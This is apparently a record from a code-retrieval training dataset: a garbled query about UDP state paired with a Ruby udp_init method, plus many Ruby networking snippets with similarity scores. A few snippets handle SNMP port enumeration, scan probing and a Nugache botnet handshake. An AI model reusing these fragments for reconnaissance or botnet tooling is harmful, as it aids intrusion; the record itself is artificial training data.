element[1].verbose_state[@name][:elements] },\n :state => state,\n :info => (info if respond_to? :info)\n }\n }\n end", "def display_word_state\n @word_state.join(\" \")\n end", "def state\n @state\n end", "def inspect; to_s; end", "def inspect; to_s; end", "def inspect; to_s; end", "def inspect; to_s; end", "def inspect; to_s; end", "def current_state_s\n self.current_state.to_s.humanize.downcase\n end", "def current_state_s\n self.current_state.to_s.humanize.downcase\n end", "def show\n \"$#{total} #{@state[0]} #{@state[1]} #{@state[2]} #{@state[3]} #{@state[4]}\"\n end", "def state_hash\n @board.flatten.join\n end", "def to_s\n # access states saved in instance variables with respective getter methods\n \"This is a GoodDog named #{name} who is #{age} years old in dog years. \" \\\n \"#{name} weighs #{weight} and is #{height} tall.\"\n end", "def show_state\n puts \"#{@name} a #{@life_points} points de vie.\"\n # Si la méthode show_state est appliqué à l'instance player1 (Josiane), le programme sait que la variable @nom est \"Josiane\" et @life_points est le nombre de points de vie de Josiane\n end", "def format_state(state)\n formated = \"\"\n for y in 1..$size # Builds line by line, so \"y\" comes first\n for x in 1..$size\n state[[x, y]]? (formated << \"#\") : (formated << \".\")\n end\n formated << \"\\n\"\n end\n return formated\nend", "def state_str\n VN_STATES[state]\n end", "def inspect\n to_s.inspect\n end", "def state\n end", "def display_state(object, attr)\n I18n.t(\"activerecord.attributes.#{object.class.to_s.underscore}.states.#{attr.to_s}.#{object.send(attr)}\")\n end", "def state; end", "def state; end", "def state; end", "def state; end", "def state; end", "def state; end", "def state; end", "def state; end", "def name\n state_name\n end", "def display ( )\n puts 'Parser states: ' + @states.size.to_s\n\n @states.each do |st|\n\tputs\n\tputs '*' * 80\n\tputs 'state: ' + st.statename\n\tputs 'branches: '\n\tst.branches.each do |br|\n\t puts ' ' + @states[br].statename\n\tend\n end\n end", "def state\n object.state_code\n end", "def show_state\n if @life_points < 0\n @life_points = 0\n end\n puts \"#{@name} a #{@life_points} points de vie et une arme de niveau #{@weapon_level}\"\n end", "def inspect\n\t\t\told_to_s\n\t\tend", "def show_state\n if @life_points <= 0\n puts \">>> #{@name} a 0 points de vie\"\n else\n puts \">>> #{@name} a #{@life_points} points de vie et une arme de niveau #{@weapon_level}\"\n end\n end", "def inspect\n to_s\n end", "def state()\n info[:state]\n end", "def inspect\n to_s\n end", "def inspect\n to_s\n end", "def inspect\n to_s\n end", "def inspect\n to_s\n end", "def inspect\n to_s\n end", "def inspect\n to_s\n end", "def inspect\n to_s\n end", "def to_s\r\n \t\tout_str =\"States, and their Actions:\"\r\n \t\tself.adjacency_matrix.each_key do |a_state|\r\n \t\t\tout_str << \"\\nState: #{a_state}\\n\"\r\n \t\t\tout_str << \"Actions:\\n\"\r\n \t\t\tif self.adjacency_matrix[a_state].length == 0\r\n \t\t\t\tout_str << \"\\t<No Actions>\\n\"\r\n \t\t\telse\r\n \t\t\t\tself.adjacency_matrix[a_state].each do |a_transition|\r\n \t\t\t\t\tout_str << \"\\t#{a_transition.action}\\n\"\r\n \t\t\t\tend # end each\r\n\r\n \t\t\tend # end else\r\n \t\tend # end each key\r\n \t\treturn out_str\r\n \tend", "def inspect\n self.to_hash.inspect\n end", "def state\n @current_state\n end", "def inspect\n to_s\n end" ]
[ "0.80072206", "0.7737337", "0.7633257", "0.75813806", "0.75032306", "0.7476722", "0.744327", "0.74336755", "0.7405574", "0.73759025", "0.73651224", "0.7357852", "0.7345984", "0.73437554", "0.731156", "0.73028475", "0.7274397", "0.7273967", "0.7270597", "0.7261709", "0.725933", "0.7246333", "0.72239584", "0.7196359", "0.7195803", "0.7192721", "0.71916354", "0.71763945", "0.7170263", "0.71594113", "0.71164864", "0.7113082", "0.71128297", "0.7104099", "0.7087086", "0.7048293", "0.69771415", "0.69575274", "0.6946698", "0.69384146", "0.6912679", "0.6851659", "0.6804888", "0.6688892", "0.6688892", "0.6670738", "0.66646796", "0.6656026", "0.6656026", "0.6655055", "0.66389614", "0.66294074", "0.6607229", "0.6607229", "0.6602369", "0.6597514", "0.659123", "0.65749216", "0.6550675", "0.6550675", "0.6550675", "0.6550675", "0.6550675", "0.65158945", "0.65158945", "0.65086013", "0.65015924", "0.65012", "0.6497573", "0.64874643", "0.6483361", "0.64712614", "0.6451914", "0.64385104", "0.64333004", "0.64333004", "0.64333004", "0.64333004", "0.64333004", "0.64333004", "0.64333004", "0.64333004", "0.6430886", "0.64251256", "0.64157295", "0.6404297", "0.64026374", "0.63983315", "0.6369199", "0.63650554", "0.6358551", "0.6358551", "0.6358551", "0.6358551", "0.6358551", "0.6358551", "0.6358551", "0.63549626", "0.63515204", "0.63490134", "0.634462" ]
0.0
-1
END OF TCP ONLY UDP STATE ONLY!
def udp_init(pkt, event_collector) @event_collector = event_collector @app_state = { :up => {}, :down => {} } @layer_4 = :udp end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def udp?\n return (proto == 'udp')\n end", "def socket?() end", "def udp?\n @udp_header\n end", "def test_ipv6_udp_local_server\n @@received_data = nil\n @local_port = next_port\n @@remote_ip = nil\n setup_timeout(2)\n\n EM.run do\n EM.open_datagram_socket(@@public_ipv6, @local_port) do |s|\n def s.receive_data data\n _port, @@remote_ip = Socket.unpack_sockaddr_in(get_peername)\n @@received_data = data\n EM.stop\n end\n end\n\n EM.open_datagram_socket(@@public_ipv6, next_port) do |c|\n c.send_datagram \"ipv6/udp\", @@public_ipv6, @local_port\n end\n end\n assert_equal @@remote_ip, @@public_ipv6\n assert_equal \"ipv6/udp\", @@received_data\n end", "def test_IP_FALHA_2\r\n msg_out = \"IP \"\r\n msg_esperada = \"FALHA\"\r\n sock = UDPSocket.new\r\n sock.connect($central_ip, $central_porta)\r\n sock.print(msg_out)\r\n msg_in = sock.recvfrom(20)[0]\r\n assert_equal(msg_esperada, msg_in)\r\n end", "def test_IP_IPFALHA\r\n msg_out = \"IP oslo\"\r\n msg_esperada = \"IPFALHA\"\r\n sock = UDPSocket.new\r\n sock.connect($central_ip, $central_porta)\r\n sock.print(msg_out)\r\n msg_in = sock.recvfrom(20)[0]\r\n assert_equal(msg_esperada, msg_in)\r\n end", "def test_IP_FALHA_3\r\n msg_out = \"IP acari lixo\"\r\n msg_esperada = \"FALHA\"\r\n sock = UDPSocket.new\r\n sock.connect($central_ip, $central_porta)\r\n sock.print(msg_out)\r\n msg_in = sock.recvfrom(20)[0]\r\n assert_equal(msg_esperada, msg_in)\r\n end", "def test_IP_FALHA_1\r\n msg_out = \"IPacari\"\r\n msg_esperada = \"FALHA\"\r\n sock = UDPSocket.new\r\n sock.connect($central_ip, $central_porta)\r\n sock.print(msg_out)\r\n msg_in = sock.recvfrom(20)[0]\r\n assert_equal(msg_esperada, msg_in)\r\n end", "def fin?\n Capp::TCP_FIN == flags & Capp::TCP_FIN\n end", "def receive_end_of_binary_data\n # no-op\n end", "def run\n if not @receive then\n sendUDPStream\n else\n receiveUDPStream\n end\n end", "def eof?\n @sock.closed?\n end", "def xmit\n if @lag.zero?\n if @to_server\n $fake_server_port.on_packet_receive(CONNECTION_ID, @data, @channel)\n else\n $fake_client_conn.on_packet(@data, @channel)\n end\n true\n else\n @lag -= 1\n false\n end\n end", "def tcp?\n return (proto == 'tcp')\n end", "def udp\n UDP.new(@loop)\n end", "def receive_datagram\n return unless IO.select([@socket], nil, nil, 0)\n data = @socket.recvfrom_nonblock(65507)\n datagram = Datagram.new payload: data[0], endpoint: data[1][3], port: data[1][1]\n datagram.valid? ? datagram : nil\n end", "def test_IP_IPOK\r\n msg_out = \"IP #{$dominio_registrado}\"\r\n msg_esperada = \"IPOK #{$ip_registrado}\"\r\n sock = UDPSocket.new\r\n sock.connect($central_ip, $central_porta)\r\n sock.print(msg_out)\r\n msg_in = sock.recvfrom(20)[0]\r\n assert_equal(msg_esperada, msg_in)\r\n end", "def udp_timeout\n super\n end", "def recvfrom_nonblock(*rest) end", "def recvfrom_nonblock(*rest) end", "def socket_disconnected\n end", "def netstat_udp\n\t\tudp=[]\n\t\tprint_status('Enumerating Open UDP Ports.....')\n\t\[email protected]('udpLocalAddress') {|x| udp << x.to_s.split(\", \")[0].sub('[name=UDP-MIB::udpLocalAddress.', '') }\n\t\tif not udp.empty?\n\t\t\tputs \"[*] \".light_green + \"OPEN UDP PORTS\".light_yellow + \": \".white\n\t\t\tudp.each do |entry|\n\t\t\t\tif entry =~ /(\\d+.\\d+.\\d+.\\d+).(\\d+)/\n\t\t\t\t\tip=$1\n\t\t\t\t\tport=$2\n\t\t\t\t\tprint_good(\"#{ip}:#{port}\")\n\t\t\t\telse\n\t\t\t\t\tprint_good(\"#{entry}\")\n\t\t\t\tend\n\t\t\tend\n\t\telse\n\t\t\tprint_error(\"No Values Found!\")\n\t\tend\n\tend", "def nodelay\n ensure_state :connected\n @socket.getsockopt(::Socket::IPPROTO_TCP, ::Socket::TCP_NODELAY).int.nonzero?\n end", "def test_REG_FALHA\r\n msg_out = \"REG lajes \"\r\n msg_esperada = \"FALHA\"\r\n sock = UDPSocket.new\r\n sock.connect($central_ip, $central_porta)\r\n sock.print(msg_out)\r\n msg_in = sock.recvfrom(20)[0]\r\n assert_equal(msg_esperada, msg_in)\r\n end", "def udpSocket(sock, didReceiveData:data, fromAddress: address, withFilterContext:tag)\n address_host = GCDAsyncUdpSocket.hostFromAddress(address)\n\n unless @accepted_host\n @accepted_host = address_host\n logger.debug{\"@accepted_host => #{@accepted_host}\".ascii_cyan_bg}\n end\n\n if address_host == @accepted_host\n data_str = \"#{data}\"\n\n if data_str.index('tm|') == 0\n packet = TimingPacket.parse(data_str)\n packet.received_ms = Time.now_ms\n on_timing_packet(packet)\n else\n @delegate.on_received_broadcast(data_str, address_host)\n end\n end\n end", "def receive_data\n if @socket\n # udp receive\n @socket.recvfrom(1024)\n else\n # tcp receive\n sleep 0.1\n if $received_data\n $received_data.shift\n else\n fail 'no data'\n end\n end\n end", "def receive( pkt )\n raise 'not udp!' unless pkt.udp?\n if @sessions[ reverse_key = pkt.ip_dst_s + ',' + pkt.ip_src_s + ',' + pkt.dport.to_s + ',' + pkt.sport.to_s ]\n key = reverse_key\n elsif @sessions[ forward_key = pkt.ip_src_s + ',' + pkt.ip_dst_s + ',' + pkt.sport.to_s + ',' + pkt.dport.to_s ]\n key = forward_key\n elsif (!@options[:sampling_ratio] or (Digest::MD5.hexdigest( pkt.ip_src_s ).to_i(16) % (2 ** 32)).to_f / (2 ** 32).to_f < @options[:sampling_ratio])\n key = forward_key\n @sessions[key] = UDPSession.new( @options )\n else\n return []\n end\n @sessions[key].receive pkt\n end", "def urg?\n Capp::TCP_URG == flags & Capp::TCP_URG\n end", "def recvfrom(*rest) end", "def recvfrom(*rest) end", "def recvfrom(*rest) end", "def send(data)\n sock = UDPSocket.new\n if JSON.dump(data).bytesize <= 65507 #Check UDP Limit\n sock.send(JSON.dump(data), 0, @remote_addr, @remote_port.to_i)\n else\n puts \"Log-entry skipped as it's too large for datagram/system: \\n #{JSON.pretty_generate(data)}\\n\\n\" end\n sock.close\n end", "def clear()\n @sock.recv(65535)\n end", "def initialize\n Socket.udp_server_loop(DISCOVERY_IP, Receiver::ONKYO_PORT) do |msg, src|\n src.reply \"ISCP\\x00\\x00\\x00\\x10\\x00\\x00\\x00&\\x01\\x00\\x00\\x00!1ECNTX-NR609/60128/DX/14DAE9E967C8\\x19\\r\\n\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\n puts msg\n end\n end", "def send_recv(eiscp_packet)\n sock = TCPSocket.new @host, @port\n sock.puts eiscp_packet\n return Receiver.recv(sock, 0.5)\n end", "def udp_socket\n Thread.current[:statful_socket] ||= UDPSocket.new(Addrinfo.udp(@config[:host], @config[:port]).afamily)\n end", "def test_REG_REGOK\r\n msg_out = \"REG macau 10.0.1.28\"\r\n msg_esperada = \"REGOK\"\r\n sock = UDPSocket.new\r\n sock.connect($central_ip, $central_porta)\r\n sock.print(msg_out)\r\n msg_in = sock.recvfrom(20)[0]\r\n assert_equal(msg_esperada, msg_in)\r\n end", "def probe(host, port, message)\n message = message.to_binary_s if message.respond_to?('to_binary_s')\n replies = []\n begin\n udp_sock.sendto(message, host, port, 0)\n rescue ::Errno::EISCONN\n udp_sock.write(message)\n end\n reply = udp_sock.recvfrom(65535, datastore['WAIT'] / 1000.0)\n while reply && reply[1]\n replies << reply\n reply = udp_sock.recvfrom(65535, datastore['WAIT'] / 1000.0)\n end\n replies\n end", "def send_eof\n msg = @buffers.writer\n msg.write_byte CHANNEL_EOF\n msg.write_long @remote_id\n @connection.send_message msg\n self\n end", "def poll_next_packet; end", "def packet(pkt)\n super(pkt)\n \n # Only process packets with length right now\n return nil unless pkt.udp_data.length > 0\n \n # Determine the packet's direction (up == src -> dst)\n dir = pkt.src.to_i < pkt.dst.to_i ? :up : :down\n\n # First, identify if this is a new stream or part of one on which we are\n # already keeping state.\n state = identify_state(pkt, :udp, false)\n state.udp_init(pkt, @event_collector) unless state.layer_4\n @protos.parse(pkt.udp_data, state, dir)\n end", "def socket; end", "def socket; end", "def socket; end", "def socket; end", "def socket; end", "def recvfrom_nonblock(maxlen)\n Socketry::UDP::Datagram.new(*@socket.recvfrom_nonblock(maxlen))\n rescue ::IO::WaitReadable\n :wait_readable\n rescue => ex\n # TODO: more specific exceptions\n raise Socketry::Error, ex.message, ex.backtrace\n end", "def tcp_or_udp_protocol?(network_acl_entry)\n %w[6 17].include?(network_acl_entry.protocol.to_s)\n end", "def on_disconnected( fd, endpoint )\n\t\t\tself.log.debug \"Client socket on FD %d disconnected\" % [ fd ]\n\t\tend", "def tcp_receiver(output_queue, socket)\n peer_addr = socket.peeraddr\n ip, port = peer_addr[3], peer_addr[1]\n\n @logger.info(\"new connection\", :client => \"#{ip}:#{port}\")\n LogStash::Util::set_thread_name(\"input|syslog|tcp|#{ip}:#{port}}\")\n\n first_read = true\n\n socket.each do |line|\n metric.increment(:messages_received)\n if @proxy_protocol && first_read\n first_read = false\n pp_info = line.split(/\\s/)\n # PROXY proto clientip proxyip clientport proxyport\n if pp_info[0] != \"PROXY\"\n @logger.error(\"invalid proxy protocol header label\", header: line)\n raise IOError\n else\n @logger.debug(\"proxy protocol detected\", header: line)\n ip = pp_info[2]\n port = pp_info[3]\n next\n end\n end\n decode(ip, output_queue, line)\n end\n rescue Errno::ECONNRESET\n # swallow connection reset exceptions to avoid bubling up the tcp_listener & server\n logger.info(\"connection reset\", :client => \"#{ip}:#{port}\")\n rescue Errno::EBADF\n # swallow connection closed exceptions to avoid bubling up the tcp_listener & server\n logger.info(\"connection closed\", :client => \"#{ip}:#{port}\")\n rescue IOError => e\n # swallow connection closed exceptions to avoid bubling up the tcp_listener & server\n raise(e) unless socket.closed? && e.message.to_s.include?(\"closed\")\n logger.info(\"connection error:\", :exception => e.class, :message => e.message)\n ensure\n @tcp_sockets.delete(socket)\n socket.close rescue log_and_squash(:close_tcp_receiver_socket)\n end", "def blocking_write( data )\r\n raise RuntimeError, \"CONN_UDP: blocking_write: Not connected!\" unless connected?\r\n begin\r\n @sock.send(data, 0)\r\n rescue\r\n destroy_connection\r\n raise RuntimeError, \"CONN_UDP: blocking_write: Couldn't write to socket! (#{$!})\"\r\n end\r\n end", "def connection_ended\n end", "def connection_ended\n end", "def udp_packet_size\r\n # if @udp_size > DefaultUDPSize then we use EDNS and \r\n # @udp_size should be taken as the maximum packet_data length\r\n ret = (@udp_size > Resolver::DefaultUDPSize ? @udp_size : Resolver::DefaultUDPSize) \r\n return ret\r\n end", "def port(msg)\n nums = msg.split(',')\n port = nums[4].to_i * 256 + nums[5].to_i\n host = nums[0..3].join('.')\n if thread[:datasocket]\n thread[:datasocket].close\n thread[:datasocket] = nil\n end\n thread[:datasocket] = TCPSocket.new(host, port)\n debug \"[DEBUG] Opened passive connection at #{host}:#{port}\"\n \"200 Passive connection established (#{port})\"\n end", "def receive_ping\n done\n end", "def blocking_read\r\n raise RuntimeError, \"CONN_UDP: blocking_read: Not connected!\" unless connected?\r\n begin\r\n [email protected](8192)[0]\r\n return nil if data.empty?\r\n data\r\n rescue\r\n destroy_connection\r\n raise RuntimeError, \"CONN_UDP: blocking_read: Couldn't read from socket! (#{$!})\"\r\n end\r\n end", "def forwarded_tcpip(session, channel, packet); end", "def read_packet; end", "def end_addr\n start_addr + length - 4\n end", "def udp_transport(message)\n udp_socket.send(message)\n end", "def eof?\n @socket.eof?\n rescue IOError, SystemCallError\n true\n end", "def handle_heartbeat(packet)\n end", "def closed?\n @sock.closed?\n end", "def closed?\n @socket.closed?\n end", "def legacy_reconect\n\t\tputs \"Reconectando...\"\n\t\tif @arry_ips.length == 0\n\t\t\t@arry_ips = Connections::SERVER_IP\n\t\telsif @arry_ips.length != Connections::SERVER_IP.length && @ip_integrity != \"m\"\n\t\t\t@arry_ips = Connections::SERVER_IP\n\t\tend\n\t\tre_reconect = false\n\t\[email protected]\n\t\tloop do\n\t\t\t@ip_pos += 1\n\t\t\t@ip_pos = 0 if @ip_pos >= @arry_ips.length\n\t\t\tbegin\n\t\t\t\t@server = TCPSocket.new(@arry_ips[@ip_pos], Connections::SERVER_PORT)\n\t\t\t\tre_reconect = false\n\t\t\trescue Errno::ECONNREFUSED => e\n\t\t\t\tre_reconect = true\n\t\t\t\tsleep(1)\n\t\t\tend\n\t\t\tbreak unless re_reconect \n\t\tend\n\t\tputs \"Reconectado!\"\n\tend", "def send_udp message\n @sender.send_udp message, @ip\n end", "def disconnect( socket )\n flag = super socket\n _connect if flag\n return flag\n end", "def on_closed( fd, endpoint )\n\t\t\tself.log.debug \"Client socket on FD %d closed\" % [ fd ]\n\t\tend", "def closed?\n socket.closed?\n end", "def tcp?\n @tcp_header\n end", "def socket\n @socket ||= UDPSocket.new.tap do |socket|\n socket.setsockopt Socket::IPPROTO_IP,\n Socket::IP_ADD_MEMBERSHIP,\n multicast_group\n socket.setsockopt Socket::IPPROTO_IP,\n Socket::IP_MULTICAST_TTL,\n 1\n socket.setsockopt Socket::SOL_SOCKET,\n Socket::SO_REUSEPORT,\n 1 \n end\n end", "def packet(pkt)\n super(pkt)\n ret = nil\n\n # Let's ignore (for now) packets that are simply ACKs and nothing else\n return nil unless pkt.tcp_syn? or pkt.tcp_fin? or pkt.tcp_rst? or\n pkt.tcp_data_len > 0\n \n # Should we be raising a STREAM event?\n if pkt.tcp_data_len > 0 and @event_collector.stream_capture\n @event_collector.stream_capture.each do |sc|\n if (sc[0].nil? or sc[0] == pkt.src.to_i) and # source IP\n (sc[2].nil? or sc[2] == pkt.dst.to_i) and # destination IP\n (sc[1].nil? or sc[1] == pkt.sport) and # source port\n (sc[3].nil? or sc[3] == pkt.dport) # destination port\n @event_collector.send(sc[4]) do\n state = identify_state(pkt, :tcp, false)\n { :content => pkt.tcp_data, :syn_seen => !!state.syn_seen,\n :src_ip => @protos.str_ip(pkt.src.to_i),\n :dst_ip => @protos.str_ip(pkt.dst.to_i), :src_port => pkt.sport,\n :dst_port => pkt.dport }\n end\n end # of if match\n end # of each stream_capture\n end # of if stream event\n\n # Determine the packet's direction (up == src -> dst)\n dir = pkt.src.to_i < pkt.dst.to_i ? :up : :down\n\n # First, identify if this is a new stream or part of one on which we are\n # already keeping state.\n make_state = !(pkt.tcp_fin? or pkt.tcp_rst?)\n state = identify_state(pkt, :tcp, make_state)\n state.ack_seen = pkt.tcp_ack? unless pkt.tcp_rst?\n \n # Check to see if we need to prune some state objects\n if pkt.time.to_i > @next_prune\n @next_prune = pkt.time.to_i + 60 # one minute prune interval\n syn_timeout = pkt.time - @event_collector.syn_timeout_delay\n stream_timeout = pkt.time - @event_collector.stream_timeout_delay\n @states.each do |_,chk|\n if chk.last_seen < syn_timeout\n # Is this state only a syn so far?\n if not chk.ack_seen\n @event_collector.send(:tcp_connect_failed) do\n { :timeout => true, :src_ip => @protos.str_ip(chk.src.to_i),\n :dst_ip => @protos.str_ip(chk.dst.to_i),\n :src_port => chk.sport, :dst_port => chk.dport, :rst => false }\n end\n delete_state(chk)\n \n # Okay, there's been some traffic. Has a full timeout occured?\n elsif chk.last_seen < stream_timeout\n @event_collector.send(:tcp_stream_end) do\n { :syn_seen => !!chk.syn_seen, :timeout => true,\n :src_ip => @protos.str_ip(chk.src.to_i),\n :dst_ip => @protos.str_ip(chk.dst.to_i), :rst => false,\n :dst_port => chk.dport, :src_port => chk.sport, :sync => false,\n :fin => false }\n end\n delete_state(chk)\n end # of if stream_timeout\n end # of syn_timeout\n end\n end\n\n # Is this state brand new? If so, add some TCP-specific information\n state.tcp_init(pkt, @event_collector) unless state.layer_4\n\n # Let's make sure the sequence numbers are what we expect\n ret = validate_sequence_numbers(pkt, state, dir) if state.app_state\n return nil unless ret\n\n # If this is a connection we've seen in its entirety, hand it up to\n # the next stage - the protocol parser (layer 7)\n if state.app_state and pkt.tcp_data and pkt.tcp_data.length > 0\n @protos.parse(pkt.tcp_data, state, dir)\n end\n\n # Is this a FIN or a RST? Should we close out this state?\n if pkt.tcp_fin?\n state.fin_up = true if dir == :up\n state.fin_down = true if dir == :down\n @protos.conclude(state, dir) # Signal the end of this direction\n end\n if pkt.tcp_rst? or (state.fin_up and state.fin_down)\n if not state.ack_seen # Explicit connection rejection\n @event_collector.send(:tcp_connect_failed) do\n { :timeout => false, :src_ip => @protos.str_ip(pkt.dst.to_i),\n :dst_ip => @protos.str_ip(pkt.src.to_i),\n :src_port => pkt.dport, :dst_port => pkt.sport, :rst => true }\n end\n else # regular connection termination\n @event_collector.send(:tcp_stream_end) do\n { :syn_seen => !!state.syn_seen,\n :src_ip => @protos.str_ip(pkt.src.to_i),\n :dst_ip => @protos.str_ip(pkt.dst.to_i), :src_port => pkt.sport,\n :dst_port => pkt.dport, :rst => pkt.tcp_rst?, :sync => false,\n :fin => (state.fin_up and state.fin_down), :timeout => false }\n end\n @protos.conclude(state, :up) # Signal the end of the stream in\n @protos.conclude(state, :down) # both directions.\n end\n delete_state(state)\n end\n\n # Finally, if we have a queued packet to inject, inject it now. This must\n # be done last!\n packet(ret) if ret.class <= ::Pcap::TCPPacket\n true\n end", "def handle_server\n \t\t\t\tcase @state\n \t\t\t\twhen :new\n if @data_buf.length >= 64\n \t\t\t\t\tb = @data_buf.slice!(0,64)\n \t\t\t\t\tb1 = @bot.rsakey.private_decrypt(b)\n if b1[16,32] == @aes_recv.key\n \t\t\t\t\treturn false unless b1[16,32] == @aes_recv.key\n \t\t\t\t\t@v = @aes_send.encrypt(\"1\\r\\n\")\n \t\t\t\t\tputs \"Session #{@id}: sending verify\" if @@debug\n \t\t\t\t\tsend_data @v\n \t\t\t\t\t@state = :recv_verify\n else\n close_connection\n @data_suf = false\n end\n else\n @data_suf = false\n end\n \t\t\t\twhen :recv_verify\n \t\t\t\t\tputs \"Session #{@id}: receiving verify\" if @@debug\n if @data_buf.length >= 3\n b = @data_buf.slice!(0,3)\n \t\t\t\t\t# this isn't always true in the real Nugache traces, but without knowing the\n \t\t\t\t\t# underlying protocol, this is the best I can do\n if b == @v\n \t\t\t\t\tputs \"Session #{@id}: ready\" if @@debug\n \t\t\t\t\t@state = :connected\n else\n close_connection\n @data_suf = false\n end\n else\n @data_suf = false\n end\n \t\t\t\twhen :connected\n \t\t\t\t\tputs \"Session #{@id}: receiving block\" if @@debug\n b = @data_buf\n @data_buf = \"\"\n @data_suf = false\n # TODO: how are we going to handle partial bundles of data?\n if b.length > 0\n out = @aes_recv.decrypt(b)\n @bot.process(out, @peer)\n end\n \t\t\t\tend\n \t\t\tend", "def recv_msg()\n\n debug = 1\n\n begin\n\n Timeout::timeout(@timeout_val){\n\n length = 0\n id = 0\n data = @socket.recv(4)\n\n # make sure we actually got something\n if data == nil then return nil end\n\n # how many more bytes we are to recv\n length += data.each_byte.to_a[0] * (2 ** 24)\n length += data.each_byte.to_a[1] * (2 ** 16)\n length += data.each_byte.to_a[2] * (2 ** 8)\n length += data.each_byte.to_a[3]\n\n additional_data = @socket.recv(length)\n\n # if you are not sending as much data as you advertise, we drop you\n if(additional_data.each_byte.to_a.length != length) then Thread.terminate end\n\n if(debug) then\n puts \"length of data to be recvd : #{length}\"\n puts \"length of data recv'd : #{additional_data.each_byte.to_a.length}\"\n end\n\n if(length != 0) then\n message_id = additional_data.each_byte.to_a[0]\n else\n message_id = -1\n end\n\n puts \"message starts\"\n\n new_message = Message.new(message_id, length, additional_data[1...additional_data.length])\n\n puts \"message end\"\n\n case message_id\n when @keep_alive_id\n puts \"I got a keep_alive id\"\n when @choke_id\n puts \"I got choke id\"\n when @unchoke_id\n puts \"I got unchoke_id\"\n when @interested_id\n puts \"I got interested_id\"\n when @not_interested_id\n puts \"I got not_interested_id\"\n when @have_id\n puts \"I got have_id\"\n when @bitfield_id\n puts new_message.payload().each_byte.to_a.length\n @bitfield.set_bitfield_with_bitmap(new_message.payload())\n puts \"I got bitfield_id\"\n when @request_id\n puts \"I got request_id\"\n when @piece_id\n puts \"I got piece_id\"\n when @cancel_id\n puts \"I got cancel_id\"\n when @port_id\n puts \"I got port_id\"\n else\n puts \"You gave me #{message_id} -- I have no idea what to do with that.\"\n end\n\n $stdout.flush\n\n }\n\n rescue\n #puts $!, $@\n return\n end\n\n end", "def receive_data(data)\n\[email protected] if (@buffer.size + data.size) > 1000\n\t@buffer += data\n\n\tif @buffer.unpack('C4Nn2N4C16C192NC*').include?($DHCP_MAGIC)\n\t process_message(@buffer.dup)\n\t @buffer.clear\n\tend\n end", "def ack?\n Capp::TCP_ACK == flags & Capp::TCP_ACK\n end", "def unbind\n log(:info, :socket, 'disconnected')\n end", "def send_udp_broadcast packet\n\t\t\tudp = UDPSocket.new\n\t\t\tudp.setsockopt(:IPPROTO_IP, :IP_MULTICAST_TTL, 1)\n\t\t\tudp.send packet.to_str, 0, MULTICAST_ADDR, @udp_port\n\t\t\tudp.close\n\t\tend", "def disconnected?; connection_state == :disconnected end", "def closed?\n socket.closed?\n end", "def send_message(data, flag, host, port)\n\t\tsocket = UDPSocket.new\n\t\tserialized = Marshal.dump(data)\n\t\tsocket.send serialized, flag, host, port\n\t\tsocket.close\n\t\tputs \"Sending #{data} to #{host}:#{port}\"\n\t\tsleep(0.025)\n\tend", "def receive( pkt )\n if @first_packet[:FORWARD] == nil\n @first_packet[:FORWARD] = pkt\n direction = :FORWARD\n elsif @first_packet[:FORWARD].ip_src == pkt.ip_src and @first_packet[:FORWARD].ip_dst == pkt.ip_dst and\n @first_packet[:FORWARD].sport == pkt.sport and @first_packet[:FORWARD].dport == pkt.dport\n direction = :FORWARD\n elsif @first_packet[:REVERSE] == nil and\n @first_packet[:FORWARD].ip_src == pkt.ip_dst and @first_packet[:FORWARD].ip_dst == pkt.ip_src and\n @first_packet[:FORWARD].sport == pkt.dport and @first_packet[:FORWARD].dport == pkt.sport\n @first_packet[:REVERSE] = pkt\n direction = :REVERSE\n elsif @first_packet[:FORWARD].ip_src == pkt.ip_dst and @first_packet[:FORWARD].ip_dst == pkt.ip_src and\n @first_packet[:FORWARD].sport == pkt.dport and @first_packet[:FORWARD].dport == pkt.sport\n direction = :REVERSE\n else\n raise 'assert in udp packet receiver'\n end\n @n_packets[direction] += 1\n @size[direction] += pkt.udp_len\n @last_packet[direction] = pkt\n end", "def end_ip= attr\n\t\tip = IP.parse(attr)\n\t\twrite_attribute(:end_ip, ip.to_hex) unless ((ip.proto==\"v4\")!=read_attribute(:ip_v4)) \n\tend", "def new_socket\n membership = IPAddr.new(@broadcast).hton + IPAddr.new('0.0.0.0').hton\n ttl = [@ttl].pack 'i'\n\n socket = UDPSocket.new\n\n socket.setsockopt Socket::IPPROTO_IP, Socket::IP_ADD_MEMBERSHIP, membership\n socket.setsockopt Socket::IPPROTO_IP, Socket::IP_MULTICAST_LOOP, \"\\000\"\n socket.setsockopt Socket::IPPROTO_IP, Socket::IP_MULTICAST_TTL, ttl\n socket.setsockopt Socket::IPPROTO_IP, Socket::IP_TTL, ttl\n\n socket.bind '0.0.0.0', @port\n\n socket\n end", "def unbind\n puts \"client a connection has terminated\"\n EventMachine::stop_event_loop() \n end", "def start_listening\n\t\t@socket = UDPSocket.new\n\t\[email protected](@info.host, @info.port)\n\t\twhile true\n\t\t\ttext, sender = @socket.recvfrom(1024)\n\n\t\t\t\targuments = 